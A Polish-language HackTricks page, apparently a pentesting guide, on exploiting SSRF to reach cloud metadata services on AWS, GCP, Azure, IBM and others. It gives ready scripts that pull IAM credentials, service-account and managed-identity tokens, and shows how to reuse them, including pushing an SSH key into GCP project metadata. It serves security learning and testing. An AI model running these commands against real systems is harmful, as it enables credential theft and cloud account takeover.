Cloud SSRF

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

AWS

Wykorzystywanie SSRF w środowisku AWS EC2

Punkt końcowy metadanych jest dostępny z wnętrza każdej maszyny EC2 i udostępnia interesujące informacje o niej. Jest dostępny pod adresem: http://169.254.169.254 (information about the metadata here).

Istnieją 2 wersje endpointu metadanych. Pierwsza pozwala uzyskać dostęp do endpointu przez żądania GET (więc każdy SSRF może to wykorzystać). Dla wersji 2, IMDSv2, musisz poprosić o token wysyłając żądanie PUT z nagłówkiem HTTP, a następnie użyć tego tokena aby uzyskać dostęp do metadanych z innym nagłówkiem HTTP (więc jest to trudniejsze do wykorzystania za pomocą SSRF).

Caution

Zwróć uwagę, że jeśli instancja EC2 wymusza IMDSv2, according to the docs, to odpowiedź na żądanie PUT będzie miała hop limit of 1, co uniemożliwia dostęp do metadanych EC2 z kontenera wewnątrz instancji EC2.

Ponadto, IMDSv2 będzie także blokować żądania pobrania tokena, które zawierają nagłówek X-Forwarded-For. Ma to na celu zapobieganie możliwości dostępu przez błędnie skonfigurowane reverse proxies.

Możesz znaleźć informacje o metadata endpoints in the docs. W poniższym skrypcie uzyskiwane są z niego niektóre interesujące informacje:

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

Jako przykład ujawnionych, publicznie dostępnych IAM credentials możesz odwiedzić: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

Możesz też sprawdzić publiczne EC2 security credentials pod adresem: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Następnie możesz wziąć te poświadczenia i użyć ich z AWS CLI. To pozwoli ci zrobić wszystko, do czego ta rola ma uprawnienia.

Aby skorzystać z nowych poświadczeń, musisz utworzyć nowy profil AWS taki jak poniższy:

[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

Zwróć uwagę na aws_session_token, jest on niezbędny do działania profilu.

PACU można użyć z odnalezionymi credentials, aby sprawdzić swoje uprawnienia i spróbować je eskalować

SSRF w AWS ECS (Container Service) credentials

ECS, to logiczna grupa instancji EC2, na których możesz uruchamiać aplikację bez konieczności skalowania własnej infrastruktury zarządzania klastrem, ponieważ ECS zajmuje się tym za ciebie. Jeśli uda ci się przejąć usługę działającą w ECS, punkty końcowe metadanych zmieniają się.

Jeśli uzyskasz dostęp do http://169.254.170.2/v2/credentials/<GUID> znajdziesz credentials maszyny ECS. Ale najpierw musisz odnaleźć <GUID>. Aby znaleźć <GUID> musisz odczytać zmienną environ AWS_CONTAINER_CREDENTIALS_RELATIVE_URI wewnątrz maszyny.
Możesz być w stanie odczytać ją wykorzystując Path Traversal do file:///proc/self/environ
Wspomniany adres http powinien zwrócić AccessKey, SecretKey i token.

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

Tip

Zwróć uwagę, że w niektórych przypadkach będziesz mógł uzyskać dostęp do EC2 metadata instance z kontenera (sprawdź wspomniane wcześniej ograniczenia IMDSv2 TTL). W takich scenariuszach z kontenera możesz uzyskać dostęp zarówno do roli IAM kontenera, jak i roli IAM EC2.

SSRF for AWS Lambda

W tym przypadku credentials are stored in env variables. Dlatego, aby uzyskać do nich dostęp, musisz odczytać coś w stylu file:///proc/self/environ.

Nazwy interesujących env variables to:

  • AWS_SESSION_TOKEN
  • AWS_SECRET_ACCESS_KEY
  • AWS_ACCES_KEY_ID

Ponadto, oprócz IAM credentials, funkcje Lambda mają również dane zdarzenia przekazywane do funkcji podczas jej uruchomienia. Te dane są udostępniane funkcji poprzez runtime interface i mogą zawierać sensitive information (np. wewnątrz stageVariables). W przeciwieństwie do IAM credentials, te dane są dostępne przez standardowy SSRF pod adresem http://localhost:9001/2018-06-01/runtime/invocation/next.

Warning

Zwróć uwagę, że lambda credentials znajdują się w env variables. Jeśli stack trace kodu lambda wypisuje env vars, możliwe jest je exfiltrate them provoking an error w aplikacji.

SSRF URL for AWS Elastic Beanstalk

Pobieramy accountId i region z API.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Następnie pobieramy AccessKeyId, SecretAccessKey i Token z API.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Następnie używamy poświadczeń z aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

GCP

Możesz find here the docs about metadata endpoints.

SSRF URL dla Google Cloud

Wymaga nagłówka HTTP Metadata-Flavor: Google i możesz uzyskać dostęp do metadata endpoint przy użyciu następujących URLi:

Przydatne endpointy do pozyskania informacji:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Beta NIE wymaga nagłówka obecnie (dzięki Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

Caution

Aby użyć wyeksfiltrowanego tokena konta usługi możesz po prostu zrobić:

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

Dodaj klucz SSH

Wyodrębnij token

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Sprawdź zakres tokena (na podstawie poprzedniego wyniku lub uruchamiając poniższe)

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

Teraz wypchnij klucz SSH.

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Cloud Functions

Endpoint metadanych działa tak samo jak w maszynach wirtualnych (VMs), ale bez niektórych endpointów:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Digital Ocean

Warning

Nie ma czegoś takiego jak AWS Roles ani GCP service account, więc nie oczekuj znalezienia poświadczeń bota w metadata

Dokumentacja dostępna pod https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

Docs in here.

  • Musi zawierać nagłówek Metadata: true
  • Nie może zawierać nagłówka X-Forwarded-For

Tip

Azure VM może mieć przypisane 1 system assigned managed identity oraz kilka user assigned managed identities. To w zasadzie oznacza, że możesz podszyć się pod wszystkie managed identities przypisane do VM.

Przy żądaniu access token do metadata endpoint, domyślnie metadata service użyje system assigned managed identity do wygenerowania tokena, jeśli taki istnieje. Jeśli jest tylko JEDNA user assigned managed identity, to ona będzie użyta domyślnie. Jednak jeśli nie ma system assigned managed identity i jest wiele user assigned managed identities, metadata service zwróci błąd wskazując, że jest wiele managed identities i trzeba określić, której użyć.

Niestety nie udało mi się znaleźć żadnego metadata endpoint wskazującego wszystkie MI przypisane do VM, więc odkrycie wszystkich przypisanych managed identities do VM może być trudnym zadaniem z perspektywy Red Team.

Dlatego, aby znaleźć wszystkie przypisane MI możesz:

  • Pobierz attached identities za pomocą az cli (jeśli już przejęłeś principal w tenantcie Azure z uprawnieniem Microsoft.Compute/virtualMachines/read)
az vm identity show \
 --resource-group <rsc-group> \
 --name <vm-name>
  • Pobierz attached identities używając domyślnego przypisanego MI w metadata:
export API_VERSION="2021-12-13"

# Get token from default MI
export TOKEN=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
 | jq -r '.access_token')

# Get needed details
export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
export VM_NAME=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')

# Try to get attached MIs
curl -s -H "Authorization: Bearer $TOKEN" \
 "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
  • Pobierz wszystkie zdefiniowane managed identities w tenantcie i przeprowadź brute force, aby sprawdzić, czy któraś z nich jest przypisana do VM (wymagane uprawnienie Microsoft.ManagedIdentity/userAssignedIdentities/read):
az identity list

Caution

W żądaniach tokena użyj jednego z parametrów object_id, client_id lub msi_res_id, aby wskazać managed identity, której chcesz użyć (docs). Jeśli żaden z nich nie zostanie podany, użyty zostanie domyślny MI.

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

Warning

Zwróć uwagę, że endpoint http://169.254.169.254/metadata/v1/instanceinfo nie wymaga nagłówka Metadata: True, co ułatwia pokazanie wpływu w podatnościach SSRF w Azure, gdzie nie możesz dodać tego nagłówka.

Azure App & Functions Services & Automation Accounts

Z poziomu env możesz uzyskać wartości IDENTITY_HEADER i IDENTITY_ENDPOINT. Możesz ich użyć, aby pobrać token do komunikacji z serwerem metadata.

W większości przypadków chcesz tokenu dla jednego z tych zasobów:

Caution

W żądaniach tokena użyj dowolnego z parametrów object_id, client_id lub msi_res_id, aby wskazać managed identity, której chcesz użyć (docs). Jeśli nie podasz żadnego, zostanie użyte domyślne MI.

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"

IBM Cloud

Warning

Zwróć uwagę, że w IBM domyślnie metadata nie jest włączone, więc możliwe, że nie będziesz w stanie uzyskać do niej dostępu, nawet jeśli znajdujesz się wewnątrz IBM Cloud VM

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

Dokumentacja dotycząca usług metadanych różnych platform jest przedstawiona poniżej, z zaznaczeniem metod, dzięki którym można uzyskać dostęp do informacji konfiguracyjnych i uruchomieniowych dla instancji. Każda platforma oferuje unikalne endpointy do dostępu do swoich usług metadanych.

Packetcloud

Aby uzyskać dostęp do metadanych Packetcloud, dokumentacja znajduje się pod adresem: https://metadata.packet.net/userdata

OpenStack/RackSpace

Nie wspomniano o konieczności użycia nagłówka. Metadane można uzyskać pod adresem:

  • http://169.254.169.254/openstack

HP Helion

Tutaj również nie wspomniano o konieczności nagłówka. Metadane są dostępne pod adresem:

  • http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud udostępnia szereg endpointów do uzyskiwania dostępu do różnych aspektów metadanych:

  • http://192.0.0.192/latest/
  • http://192.0.0.192/latest/user-data/
  • http://192.0.0.192/latest/meta-data/
  • http://192.0.0.192/latest/attributes/

Alibaba

Alibaba udostępnia endpointy do uzyskiwania metadanych, w tym ID instancji i obrazu:

  • http://100.100.100.200/latest/meta-data/
  • http://100.100.100.200/latest/meta-data/instance-id
  • http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCD może zawierać klucze API, wewnętrzne adresy IP i porty. Dostęp demonstruje się za pomocą:

  • curl -L http://127.0.0.1:2379/version
  • curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Do metadanych Docker można uzyskać dostęp lokalnie; poniżej przykłady pobierania informacji o kontenerach i obrazach:

  • Prosty przykład uzyskania dostępu do metadanych kontenerów i obrazów przez socket Dockera:
  • docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
  • Wewnątrz kontenera użyj curl z socketem Dockera:
  • curl --unix-socket /var/run/docker.sock http://foo/containers/json
  • curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Do metadanych Rancher można uzyskać dostęp używając:

  • curl http://rancher-metadata/<version>/<path>

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks